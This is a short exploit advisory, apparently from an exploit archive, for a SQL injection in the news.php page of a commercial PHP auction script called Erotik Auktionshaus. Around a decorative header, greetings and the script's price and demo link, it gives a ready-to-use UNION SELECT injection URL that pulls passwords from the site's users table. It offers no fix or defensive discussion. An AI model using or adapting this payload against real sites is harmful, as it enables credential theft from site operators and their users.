Erotik Auktionshaus suffers from a remote SQL injection vulnerability in news.php.
f68d45c98fe71acc90c07038eefffc60b75ca66a163850f72f9cd4488160b89c
# Exploit Title: Erotik Auktionshaus SQL Injection news.php
# Date: 17.02.2010
# Author: Easy Laster
# Tested on: windows xp
########################################################################
##Erotik Auktionshaus SQL Injection news.php ##
########################################################################
########################################################################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
########################################################################
##########################################################################
#Script: Erotik Auktionshaus news.php #
#Vulnerabilities [ SQL Injection ] #
#Language: [ PHP ] #
#Download: [ buy this script ] #
#Founder: [ ea$y laster ] #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ] #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-] #
#Price: [ Commercial License EUR 149.00 #
#DEMO : http://xmedien.e-ee.de/auktion-e/ #
#############################################################################
#http://[demo].de/news.php?id=-1+union+select+1,2,password,4,5+from+users+--#
#############################################################################